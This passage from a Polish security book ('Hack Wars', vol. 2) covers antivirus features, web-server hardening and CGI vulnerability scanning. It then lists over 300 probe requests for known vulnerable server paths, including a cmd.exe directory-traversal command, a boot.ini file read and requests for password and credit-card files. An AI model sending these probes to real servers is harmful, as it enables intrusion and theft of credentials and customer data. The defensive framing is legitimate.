ciągle działają w tle, skanując otwierane pliki. Taki moduł zabezpiecza równieŜ 
przed próbami nieautoryzowanej modyfikacji plików oraz ostrzega, jeśli zostały 
zmienione wielkości plików systemowych. Unikalną funkcją towarzyszącą temu 
procesowi jest filtrowanie Internetu. Po pobraniu plików są one skanowane pod 
kątem znanych wirusów, a wrogie aplety Javy i obiekty kontrolne ActiveX są 
blokowane. Niektóre programy oferują nawet moŜliwość własnej konfiguracji 
w celu zablokowania dostępu do pewnych niepoŜądanych witryn. Rysunek 2.21 
pokazuje konfigurowanie programu firmy McAfee na skanowanie wszystkich 
plików. 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

213 

 

213

 

Rysunek 2.21.  
Konfigurowanie 
programu McAfee 
firmy Network 
Associates 
na skanowanie 
wszystkich plików, 
ączając w to 
pobrane z Internetu 

 

 









 

Monitorowanie poczty — od pewnego czasu jest to niezbędny dodatek do 
ochrony antywirusowej. Ta technika nakazuje programowi wyszukiwanie 
wirusów w załącznikach otrzymywanych wiadomości elektronicznych. 
Program antywirusowy moŜna skonfigurować na usuwanie lub przeniesienie 
wszystkich odnalezionych wirusów. Rysunek 2.22 pokazuje sposób 
implementacji tej techniki przez program Norton Antivirus

Rysunek 2.22.  
Norton Antivirus 
2001 mo
Ŝ
monitorowa
ć 
i chroni
ć przed 
wirusami pocztowymi 

 

 









 

BieŜąca aktualizacja definicji wirusów — ta technika wykorzystuje proces 
automatycznej aktualizacji w celu uzyskania najświeŜszych sygnatur wirusów, 
co jest bardzo waŜne ze względu na ciągle rosnącą liczbęwirusów. Sygnatury 
wirusów są przechowywane w bazie danych, uŜywanej do ochrony przed 
tysiącami wirusów komputerowych. Odpowiednie aktualizacje mogą pojawiać 
się raz lub dwa razy dziennie. Co więcej, mechanizmy bieŜącej aktualizacji 
mogą automatycznie wyszukiwać nowe aktualizacje na witrynie producenta, 
pobierać je oraz instalować nową bazę danych. Rysunek 2.23 pokazuje sposób 
działania funkcji LiveUpdate w programie Norton Antivirus

background image

 
214 

Hack Wars. Tom 2. Na tropie hakerów 

214 

 

Rysunek 2.23.  
Wykorzystanie funkcji 
Nortona, LiveUpdate, 
w celu zapewnienia 
aktualno
ści baz 
danych definicji 

 

 

Ochrona przed włamaniami na strony internetowe 

W  tej  części  omówimy  włamania  na  strony  internetowe  wraz  z  konkretnymi  odmia-
nami  w  zaleŜności  od  demona  serwera  WWW.  Techniki  zabezpieczające  nakazują 
utworzenie projektu zgodnie z procedurami SMTP-NAT-DMZ, opisanymi w rozdziale 1. 
Umieszczenie serwera za firewallem w strefie zdemilitaryzowanej moŜe zaoszczędzić 
wielu godzin poświęconych na odpieranie ataków hakerów. Ta technika jest związana 
z implementacją rozbudowanego firewalla, który potencjalnie będzie dokonywał kon-
troli milionów Ŝądań HTTP. ChociaŜ jest to najwłaściwszy sposób postępowania, to, 
jeśli  koszt  jest  czynnikiem  decydującym  (a  tak  jest  w  większości  przypadków),  naj-
lepszą  alternatywą  będzie  zachowanie  rozbudowanych  dzienników  systemowych 
i skonfigurowanie narzędzia do blokowania portów. Takie programy (na przykład Tiger-
Watch
,  omówiony  w  poprzednich  i  kolejnych  rozdziałach)  działają  jako  minisystemy 
firewalli,  zamykając  wraŜliwe  porty  i  usługi,  monitorując  jednocześnie  próby  ataków. 
Inne przydatne techniki obejmują wyłączanie funkcji przeglądania katalogu oraz uŜycie 
procedur zaszyfrowanego uwierzytelniania dla zdalnego i lokalnego logowania admi-
nistratora. 

Programy  CGI  równieŜ  mogą  ułatwić  włamanie  na  stronę  internetową.  Prawdę  mó-
wiąc, CGI jest najczęściej atakowane przez hakerów. Na szczęście istnieje wiele dar-
mowych i komercyjnych skanerów badających wraŜliwość CGI. Takie programy spraw-
dzają typowe techniki włamania się przez CGI w celu wprowadzenia własnych ulepszeń. 
Jako przykład  moŜesz  przyjrzeć  się,  pokazanemu  na  rysunku  2.24,  programowi  CGI 
Exploit  Scanner,  który  został  zaprogramowany  przez  podziemnego  hakera  i  progra-
mistę no()ne. Program moŜe być dopasowany do własnych technik skanowania CGI; 
moŜliwe jest równieŜ ręczne przeprowadzenie testu słabości CGI.  

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

215 

 

215

 

Rysunek 2.24.  
CGI Exploit Scanner 
mo
Ŝe pomóc 
w wykryciu 
potencjalnej 
wra
Ŝliwości 
kodu CGI 

 

 

Obecnie istnieje 407 potencjalnych sposobów włamań do CGI; przedstawiono je poniŜej. 

GET /cgi-bin/unlg1.1 HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/unlg1.2 HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/rwwwshell.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/gH.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/phf HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/phf.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/Count.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/test-cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/nph-test-cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/nph-publish HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/php.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/php HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/handler HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webgais HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/websendmail HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webdist.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/faxsurvey HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/htmlscript HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/pfdisplay HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/perl.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/wwwboard.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/wwwboard.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/www-sql HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/view-source HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/campas HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/aglimpse HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/glimpse HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/man.sh HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/AT-admin.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/filemail.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/maillist.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/jj HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/info2www HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/files.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/finger HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/bnbform.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/survey.cgi HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
216 

Hack Wars. Tom 2. Na tropie hakerów 

216 

 

GET /cgi-bin/AnyForm2 HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/textcounter.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/classifieds.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/environ.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/wrap HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cgiwrap HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/guestbook.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/guestbook.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/edit.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/perlshop.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webbbs.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/whois_raw.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/AnyBoard.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/dumpenv.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/login.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /test/test.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_inf.html HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/users.pwd HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/service.pwd HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/authors.pwd HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/admin.pwd HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pwd/administrators.pwd HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/shtml.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/shtml.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-dos/args.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-win/uploader.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/rguest.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/wguest.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/issadmin/bdir.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/CGImail.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/tools/getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/fpcount.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/counter.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/visadmin.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/perl.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/../../cmd.exe?%2FC+echo+\'hacked!\'>c:\\hello.bat 
HTTP/1.0 & vbCrLf & vbCrLf 
GET /users/scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/expelval/openfile.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/expelval/sendmail.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/examples/parks/detail.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/snippets/fileexists.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/examples/mainframeset.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /msads/Samples/SELECTOR/showcode.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /search.vts HTTP/1.0 & vbCrLf & vbCrLf 
GET /carbo.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /domcfg.nsf/?open HTTP/1.0 & vbCrLf & vbCrLf 
GET /?PageServices HTTP/1.0 & vbCrLf & vbCrLf 
GET /....../autoexec.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/zero.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/root.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/expressions.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/expeval/eval.cfm HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

217 

 

217

 

GET /cfdocs/exampleapp/publish/admin/addcontent.cfm HTTP/1.0 & vbCrLf 
& vbCrLf 
GET /cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini HTTP/1.0 & 
vbCrLf & vbCrLf 
GET /cfdocs/exampleapp/publish/admin/application.cfm HTTP/1.0 & 
vbCrLf & vbCrLf 
GET /cfdocs/exampleapp/email/application.cfm HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /cfdocs/examples/parks/detail.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/examples/cvbeans/beaninfo.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/snippets/viewexample.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/snippets/gettempdirectory.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/snippets/fileexists.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/snippets/evaluate.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/cfapps/forums/forums_.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/cfapps/security/realm_.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/cfapps/forums/data/forums.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/cfapps/security/data/realm.mdb HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /cfusion/database/cfexamples.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/database/cfsnippets.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/database/smpolicy.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfusion/database/cypress.mdb HTTP/1.0 & vbCrLf & vbCrLf 
GET /DataBase/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /database.nsf/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cgi-lib.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/minimal.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/redir.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/stats.prg HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/statsconfig HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/visitor.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/htmldocs HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/logs HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/_vti_adm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/_vti_aut HTTP/1.0 & vbCrLf & vbCrLf 
GET /srchadm HTTP/1.0 & vbCrLf & vbCrLf 
GET /iisadmin HTTP/1.0 & vbCrLf & vbCrLf 
GET /html/?PageServices  HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/run.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/ctgestb.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/ctgestb.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/details.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/details.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/query.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/query.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/register.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/register.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/sample.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/sample.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/sample2.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/viewbook.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/samples/viewbook.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/tools/ct.htx HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/tools/ctss.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/tools/dsnform.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/tools/getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/tools/mkilog.exe HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
218 

Hack Wars. Tom 2. Na tropie hakerów 

218 

 

GET /scripts/iisadmin/tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/achg.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/aexp.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/aexp2b.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/aexp3.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/aexp4.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/aexp4b.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/anot.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /IISADMPWD/anot3.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/writeto.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/svcacl.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/services.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/service.stp HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/service.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/access.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/registrations.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/registrations.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/register.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/register.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/orders.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/orders.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/form_results.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/form_results.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_bin/_vti_adm/admin.dll  HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/perl? HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/passwd HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/passwd.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/password HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/password.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ax.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ax-admin.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/convert.bas HTTP/1.0 & vbCrLf & vbCrLf 
GET /session/admnlogin HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/cachemgr.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/query HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/rpm_query HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/dbmlparser.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/flexform.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/responder.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/imagemap.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /search HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/ HTTP/1.0 & vbCrLf & vbCrLf 
GET http://www.sux.com/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfdocs/snippets/fileexist.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /cfappman/index.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/cpshost.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /samples/search/queryhit.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /msadc/msadcs.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/proxy/w3proxy.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/MachineInfo HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/lwgate HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/lwgate.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/LWGate HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/LWGate.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/nlog-smb.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/icat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/axs.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /publisher/ HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

219 

 

219

 

GET /cgi-bin/mlog.phtml HTTP/1.0 & vbCrLf & vbCrLf 
GET /ssi/envout.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/archie HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/bb-hist.sh HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/nph-error.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/post_query HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/ppdscgi.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/webmap.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/tools/getdrvs.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/upload.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/pu3.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /WebShop/logs/cc.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /WebShop/templates/cc.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /quikstore.cfg HTTP/1.0 & vbCrLf & vbCrLf 
GET /PDG_Cart/shopper.conf HTTP/1.0 & vbCrLf & vbCrLf 
GET /PDG_Cart/order.log HTTP/1.0 & vbCrLf & vbCrLf 
GET /pw/storemgr.pw HTTP/1.0 & vbCrLf & vbCrLf 
GET /iissamples/iissamples/query.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /iissamples/exair/search/advsearch.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /iisadmpwd/aexp2.htr HTTP/1.0 & vbCrLf & vbCrLf 
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf 
GET /doc HTTP/1.0 & vbCrLf & vbCrLf 
GET /.html/............../config.sys HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/add_ftp.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/architext_query.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/w3-msql/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/bigconf.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/get.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/alibaba.pl HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/tst.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /status HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/search.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /aux HTTP/1.0 & vbCrLf & vbCrLf 
GET /com1 HTTP/1.0 & vbCrLf & vbCrLf 
GET /com2 HTTP/1.0 & vbCrLf & vbCrLf 
GET /com3 HTTP/1.0 & vbCrLf & vbCrLf 
GET /lpt HTTP/1.0 & vbCrLf & vbCrLf 
GET /con HTTP/1.0 & vbCrLf & vbCrLf 
GET /ss.cfg HTTP/1.0 & vbCrLf & vbCrLf 
GET /ncl_items.html HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /adminlogin?RCpage=/sysadmin/index.stm HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/srchadm/admin.idq HTTP/1.0 & vbCrLf & vbCrLf 
GET /samples/search/webhits.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /secure/.htaccess HTTP/1.0 & vbCrLf & vbCrLf 
GET /secure/.wwwacl HTTP/1.0 & vbCrLf & vbCrLf 
GET /adsamples/config/site.csc HTTP/1.0 & vbCrLf & vbCrLf 
GET /officescan/cgi/jdkRqNotify.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /ASPSamp/AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf & 
vbCrLf 
GET /AdvWorks/equipment/catalog_type.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/ism.dll HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/uploadn.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/uploadx.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/upload.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/repost.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/postinfo.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/iisadmin/default.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/samples/details.idc HTTP/1.0 & vbCrLf & vbCrLf 

background image

 
220 

Hack Wars. Tom 2. Na tropie hakerów 

220 

 

GET /scripts/samples/ctguestb.idc HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/convert.bas HTTP/1.0 & vbCrLf & vbCrLf 
GET /scripts/Fpadmcgi.exe HTTP/1.0 & vbCrLf & vbCrLf 
GET /samples/isapi/srch.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /index.asp::$DATA HTTP/1.0 & vbCrLf & vbCrLf 
GET /main.asp% HTTP/1.0 & vbCrLf & vbCrLf 
GET /domlog.nsf HTTP/1.0 & vbCrLf & vbCrLf 
GET /log.nsf HTTP/1.0 & vbCrLf & vbCrLf 
GET /catalog.nsf HTTP/1.0 & vbCrLf & vbCrLf 
GET /names.nsf HTTP/1.0 & vbCrLf & vbCrLf 
GET /domcfg.nsf HTTP/1.0 & vbCrLf & vbCrLf 
GET /today.nsf HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/pfdispaly.cgi HTTP/1.0 & vbCrLf & vbCrLf 
GET /cgi-bin/input.bat HTTP/1.0 & vbCrLf & vbCrLf 
GET /CFIDE/Administrator/startstop.html HTTP/1.0 & vbCrLf & vbCrLf 
GET /GetFile.cfm HTTP/1.0 & vbCrLf & vbCrLf 
GET /../../config.sys HTTP/1.0 & vbCrLf & vbCrLf 
GET /orders/import.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /config/import.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /orders/checks.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /config/check.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /webcart/ HTTP/1.0 & vbCrLf & vbCrLf 
GET /msadc/samples/adctest.asp HTTP/1.0 & vbCrLf & vbCrLf 
GET /admisapi/fpadmin.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /admcgi/contents.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/form_results.txt HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/form_results.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_private/register.htm HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/service.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/service.stp HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/services.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/svcacl.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/writeto.cnf HTTP/1.0 & vbCrLf & vbCrLf 
GET /_vti_pvt/access.cnf HTTP/1.0 & vbCrLf & vbCrLf 
